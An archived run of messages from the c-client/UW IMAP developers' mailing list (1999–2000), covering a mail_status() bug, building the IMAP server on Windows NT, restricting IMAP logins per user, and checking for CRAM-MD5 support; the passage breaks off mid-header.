RAA26403 for ; Wed, 8 Dec 1999 17:18:04 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA14256; Wed, 8 Dec 1999 17:18:04 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA15010; Wed, 8 Dec 1999 17:13:00 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA39876 for ; Wed, 8 Dec 1999 17:11:14 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA22417 for ; Wed, 8 Dec 1999 17:11:14 -0800 Received: from sco.sco.COM (sco.sco.COM [132.147.128.9]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id RAA14113 for ; Wed, 8 Dec 1999 17:11:14 -0800 Received: from mammoth.sco.COM(132.147.152.3) via SMTP by sco.sco.COM, id smtpdBAAa000ZB; Wed Dec 8 16:45:15 1999 Received: from ajaym.pdev.sco.com by mammoth.sco.com id aa20690; 8 Dec 99 16:43 PST Message-Id: Date: Wed, 8 Dec 1999 16:48:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ajay Matai To: c-client Interest List Subject: mail_status question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ajaym@ajaym.pdev.sco.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Consider this situation: MAILSTREAM stream = mail_open(NIL, "INBOX", 0); mail_status(stream, "some-other-mail-folder", SA_MESSAGES); The mm_status callback returns the status for the mailbox associated with the stream instead of the status of the "some-other-mail-folder". I have tested it with the latest c-client, available with IMAP toolkit 4.7 Is this an expected behavior? Thanks in advance. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 8 18:46:33 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 1999 18:46:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA07713 for ; Wed, 8 Dec 1999 18:46:31 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA16037; Wed, 8 Dec 1999 18:46:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id SAA27154; Wed, 8 Dec 1999 18:42:46 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id SAA28222 for ; Wed, 8 Dec 1999 18:40:32 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA06687 for ; Wed, 8 Dec 1999 18:40:32 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (lamarth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA15866 for ; Wed, 8 Dec 1999 18:40:32 -0800 Message-Id: Date: Wed, 8 Dec 1999 18:40:28 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ajay Matai Cc: c-client Interest List Subject: Re: mail_status question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You are correct, and I will fix this bug. The only time you should ever give a non-NIL stream argument to mail_status() is when the stream is an IMAP or NNTP stream. The bugfix will be to ignore the stream argument when the stream is not an IMAP or NNTP stream. On Wed, 8 Dec 1999, Ajay Matai wrote: > Consider this situation: > MAILSTREAM stream = mail_open(NIL, "INBOX", 0); > mail_status(stream, "some-other-mail-folder", SA_MESSAGES); > The mm_status callback returns the status for the mailbox associated with > the stream instead of the status of the "some-other-mail-folder". -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science doesnot emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Dec 20 13:45:36 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Dec 1999 13:45:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA05574 for ; Mon, 20 Dec 1999 13:45:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA02780; Mon, 20 Dec 1999 13:45:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA04495; Mon, 20 Dec 1999 13:41:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA93402 for ; Mon, 20 Dec 1999 13:36:10 -0800 Received: from fnal.fnal.gov (fnal.fnal.gov [131.225.9.8]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA08961 for ; Mon, 20 Dec 1999 13:36:09 -0800 Received: from gtwnt ([128.95.94.197]) by FNAL.FNAL.GOV (PMDF V5.2-32 #36665) with SMTP id <01JJQA3FWHK200059G@FNAL.FNAL.GOV> for c-client@u.washington.edu; Mon, 20 Dec 1999 15:36:04 -0600 CDT Message-Id: Date: Mon, 20 Dec 1999 13:40:00 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Gordon Watts (UW Seattle)" To: C-Client IMAP Subject: IMAP on NT MIME-version: 1.0 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Priority: 3 (Normal) X-MSMail-priority: Normal X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Last night I pulled the UW IMAP server down and built it for NT. I have it running on a NT4.0 SP6 machine, using Outlook 2000 as a client. I was able to build the server and also get it going running. I was able to connect to with with Outlook, and create folders at the top level. I was able to figure out how to alter the code to get it to place the mailbox on a different disk as well. When I tried to create sub-folders I started having trouble (this may be similar to the Netscape folder problems I saw mentioned on the list archives). To create a top level folder that contains subfolders I have to create the subfolder with a "\" on the end. So, for example, "foo\". The shows up in my Outlook display for about a second or two and then disappears. Very odd. If I look at the disk on the server it has correctly created the folder, however. It is as if once Outlook created the folder it then re-queried the server for the folder list, but the folder list didn't contain the just-created folder (indeed, if I look at the Mailbox.lst file I don't see the sub-folders listed there). Obviously, I have to be doing something wrong. I also have a quick question about IMAP. I've used two IMAP servers extensively before moving here to UW (besides Exchange). In both cases I was able to put mail messages in any folder, no matter weather or not it contained other folders. That is, I didn't have to create special root folders. This was very nice, as I could let a mailbox folder grow organically till it was too big, then create subfolders and refile the mail in there (or, more likely, just leave it there and start filing the new stuff). Is the fact that a IMAP folder that contains other mailboxes does not contain other mail messages part of the IMAP definition or just this server's implementation. Of course, the other downer, is that Outlook, at least, expects that so that if I try to copy my 100 megs or so of mail over I can't do it by a simple drag & drop operation. Oh well. Which brings me to my last question. If I wanted to change this behavior, I'd do it by making every mailbox a directory, and in that directory put a mbx file called "default" or something like that. Or make every mailbox file end in ".mbx" and then a subdirectory with the same name could exist along side. To make these modifications I would alter the mbx driver -- is that right? Have others done such a thing? One last thing. When setting up the driver I was unable to make it run correctly on my NT machine at first -- username/password was always failing. Turns out the LogonUser system call was failing. Which was due to the administrator's group not having the change process token priv enabled. I didn't see that in the documentation (perhaps it was there??) and it might save someone who didn't know what to look for sometime if it was indeed in there. Also, the new Scheduled Task interface is much nicer way to run the server automatically (at, say, machine boot time) instead of the "at" interface. Thanks for any help! Cheers, Gordon. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 20 14:36:55 1999 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Dec 1999 14:36:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA06786 for ; Mon, 20 Dec 1999 14:36:54 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA04240; Mon, 20 Dec 1999 14:36:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA24771; Mon, 20 Dec 1999 14:35:08 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA28238 for ; Mon, 20 Dec 1999 14:33:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tonym@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA18152 for ; Mon, 20 Dec 1999 14:33:05 -0800 Message-Id: Date: Mon, 20 Dec 1999 13:55:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Gordon Watts (UW Seattle)" Cc: C-Client IMAP Subject: re: IMAP on NT In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Gordon, I made a set of notes (see below) in response to your message. I hope that these are helpful for you. -- Mark -- Mailbox.lst is the file that holds the subscription list. New entries aren't made to that file without an explicit "subscribe" operation. I suggest that you try turning off the "subscribed folders only" option in Outlook and see if that works better for you. Whether or not a named object can be both a mailbox [*] or a directory depends upon the implementation. In c-client, it depends upon the mailbox format. By the way, "mailbox" is the correct IMAP term for an object that contains messages. The problem with "folder" is that it is frequently used to refer to directories and is hence ambiguous. The problem with doing as you suggest (making every mailbox a directory, and in that directory put a mbx file called "default") is that this breaks the correspondence between mailbox names and filesystem names. Correspondence is very desirable to people who use UNIX tooks to manipulate mailbox files as well as c-client applications. If you want to use Scheduled Tasks to start inetlisn, you need to set it up so that it runs inetlisn as the system account (NT AUTHORITY\SYSTEM). It requires a fair amount of hackery to do this. I'm surprised that someone hasn't come up with a real inetd for NT that would address this issue. The c-client documentation is pretty explicit that c-client is not a "plug and play" application on NT; it is a programmer's workbench for developing applications. If you just want to bring up an IMAP server on NT, and don't want to hack, then you're probably better off with one of the commercial servers. From pinedev@shivax2.cac.washington.edu Mon Jan 3 15:51:27 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jan 2000 15:51:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA02933 for ; Mon, 3 Jan 2000 15:51:25 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA25851; Mon, 3 Jan 2000 15:51:22 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA12817; Mon, 3 Jan 2000 15:50:37 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA32374 for ; Mon, 3 Jan 2000 15:47:08 -0800 Received: from mail.provi.de (mail@mail.provi.de [193.98.9.7]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA18360 for ; Mon, 3 Jan 2000 15:47:07 -0800 Received: from box.spetzgart.de ([195.222.212.150] helo=gate) by mail.provi.de with smtp (Exim 2.12 #3) id 125HBi-00080w-00 for c-client@u.washington.edu; Tue, 4 Jan 2000 00:46:58 +0100 Message-Id: Date: Tue, 4 Jan 2000 00:51:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "=?iso-8859-1?Q?Philipp_Gasch=FCtz?=" To: Subject: imap control users? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all! ...I`m quite new to UW IMAP, so please forgive if I missed something ;)... well... I just wanted to know if there is an option, of if someone has already written a patch to allow/disallow users to login to the imap server... recognized by the user id... not by IP thanks to all!, -philipp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 3 16:33:28 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jan 2000 16:33:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA04363 for ; Mon, 3 Jan 2000 16:33:27 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA27159; Mon, 3 Jan 2000 16:33:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA21238; Mon, 3 Jan 2000 16:32:36 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA26354 for ; Mon, 3 Jan 2000 16:30:55 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA25426 for ; Mon, 3 Jan 2000 16:30:55 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA14795; Mon, 3 Jan 2000 16:30:55 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (stein@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA30495; Mon, 3 Jan 2000 16:30:55 -0800 Message-Id: Date: Mon, 3 Jan 2000 16:29:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?iso-8859-1?Q?Philipp_Gasch=FCtz?= Cc: c-client@u.washington.edu Subject: re: imap control users? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 4 Jan 2000 00:51:11 +0100, =?iso-8859-1?Q?Philipp_Gasch=FCtz?= wrote: > well... I just wanted to know if there is an option, of if someone has > already written a patch to allow/disallow users to login to the imap > server... recognized by the user id... not by IP There isn't any such option in the software as distributed. Do you intend just to disallow IMAP access? Or, do you want to disallow all access? If so, the easiest way is to insert a "*" in front of the user's password in the /etc/passwd file. That will prevent all forms of access, but preserve the password when you want to allow the user again (just delete the "*"). From pinedev@shivax2.cac.washington.edu Mon Jan 3 17:08:56 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jan 2000 17:08:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA04602 for ; Mon, 3 Jan 2000 17:08:54 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA28196; Mon, 3 Jan 2000 17:08:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA21336; Mon, 3 Jan 2000 17:08:09 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA23582 for ; Mon, 3 Jan 2000 17:06:32 -0800 Received: from mail.provi.de (mail@mail.provi.de [193.98.9.7]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA31155 for ; Mon, 3 Jan 2000 17:06:31 -0800 Received: from box.spetzgart.de ([195.222.212.150] helo=gate) by mail.provi.de with smtp (Exim 2.12 #3) id 125IQY-0002bt-00; Tue, 4 Jan 2000 02:06:22 +0100 Message-Id: Date: Tue, 4 Jan 2000 02:10:35 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "=?iso-8859-1?Q?Philipp_Gasch=FCtz?=" To: "Mark Crispin" Cc: Subject: RE: imap control users? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > There isn't any such option in the software as distributed. > Do you intend > just to disallow IMAP access? > Or, do you want to disallow all access? If so, the easiest > way is to insert a > "*" in front of the user's password in the /etc/passwd file. That will hmm.... Actually I wanted to allow access to IMAP only to certain users, all other users thus shall have access to other services.. -philipp From pinedev@shivax2.cac.washington.edu Mon Jan 3 17:17:49 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jan 2000 17:17:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA01614 for ; Mon, 3 Jan 2000 17:17:47 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA24562; Mon, 3 Jan 2000 17:17:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id RAA21658; Mon, 3 Jan 2000 17:17:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA16798 for ; Mon, 3 Jan 2000 17:15:40 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA15057 for ; Mon, 3 Jan 2000 17:15:40 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA20783; Mon, 3 Jan 2000 17:15:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (bqt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA04160; Mon, 3 Jan 2000 17:15:36 -0800 Message-Id: Date: Mon, 3 Jan 2000 17:13:51 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?iso-8859-1?Q?Philipp_Gasch=FCtz?= Cc: c-client@u.washington.edu Subject: RE: imap control users? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 4 Jan 2000 02:10:35 +0100, =?iso-8859-1?Q?Philipp_Gasch=FCtz?= wrote: > hmm.... Actually I wanted to allow access to IMAP only to certain users, > all other users thus shall have access to other services.. OK, there's no way to do this in UW imapd as distributed, but it's easy enough to implement. The routine that you want to hack is loginpw(), in file ckp_???.c (where ??? depends upon the type of system you use). I never implemented anything like this, mainly because I've never been particularly interested in denying users access to IMAP! ;-) From pinedev@shivax2.cac.washington.edu Wed Jan 5 00:17:46 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2000 00:17:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA05239 for ; Wed, 5 Jan 2000 00:17:44 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA32193; Wed, 5 Jan 2000 00:17:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id AAA08564; Wed, 5 Jan 2000 00:16:54 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA21982 for ; Wed, 5 Jan 2000 00:13:53 -0800 Received: from mail.rdc2.bc.home.com (ha1.rdc2.bc.wave.home.com [24.2.10.68]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA15580 for ; Wed, 5 Jan 2000 00:13:53 -0800 Received: from home.com ([24.113.40.206]) by mail.rdc2.bc.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <20000105081350.LYFP23877.mail.rdc2.bc.home.com@home.com> for ; Wed, 5 Jan 2000 00:13:50 -0800 Message-Id: <3872FBE3.CFB3443A@home.com> Date: Wed, 05 Jan 2000 00:08:03 -0800 Reply-To: stewarta.public@home.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Stewart To: c-client@u.washington.edu Subject: Is there anyway to check if IMAPD is doing md5 authentication ? [nm] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------9C65EACC8AAD3545C11171CB" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------9C65EACC8AAD3545C11171CB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------9C65EACC8AAD3545C11171CB Content-Type: text/x-vcard; charset=us-ascii; name="stewarta.public.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Andrew Stewart Content-Disposition: attachment; filename="stewarta.public.vcf" begin:vcard n:Stewart;Andrew tel;cell:836 - xxxx tel;home:263 - 9733 x-mozilla-html:FALSE org:tangent.org adr:;;;;;; version:2.1 email;internet:stewarta.public@home.com title:Web/Network Engineer fn:Andrew Stewart end:vcard --------------9C65EACC8AAD3545C11171CB-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 5 09:47:25 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2000 09:47:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA24166 for ; Wed, 5 Jan 2000 09:47:23 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA15709; Wed, 5 Jan 2000 09:47:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA27121; Wed, 5 Jan 2000 09:46:27 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA28126 for ; Wed, 5 Jan 2000 09:45:07 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (ramsey@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA02452 for ; Wed, 5 Jan 2000 09:45:06 -0800 Message-Id: Date: Wed, 5 Jan 2000 09:44:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: stewarta.public@home.com Cc: c-client@u.washington.edu Subject: re: Is there anyway to check if IMAPD is doing md5 authentication ? [nm] In-Reply-To: <3872FBE3.CFB3443A@home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If the response to the CAPABILITY command includes "AUTH=CRAM-MD5", it offers MD5 authentication. From pinedev@shivax2.cac.washington.edu Thu Jan 6 00:43:21 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2000 00:43:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA09566 for ; Thu, 6 Jan 2000 00:43:20 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA01849; Thu, 6 Jan 2000 00:43:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id AAA00145; Thu, 6 Jan 2000 00:42:26 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA24074 for ; Thu, 6 Jan 2000 00:39:40 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA25803 for ; Thu, 6 Jan 2000 00:39:40 -0800 Received: from mailgw.ust.hk (mailgw.ust.hk [143.89.14.35]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA01798 for ; Thu, 6 Jan 2000 00:39:38 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mailgw.ust.hk (8.9.3/8.9.3) with ESMTP id QAA01730 for ; Thu, 6 Jan 2000 16:33:20 +0800 (HKT) Received: from ccsu11 (ccyflai@ccsu11.ust.hk [143.89.103.7]) by uxmail.ust.hk (8.9.3/8.9.3) with SMTP id QAA19640 for ; Thu, 6 Jan 2000 16:35:45 +0800 (HKT) Received: by 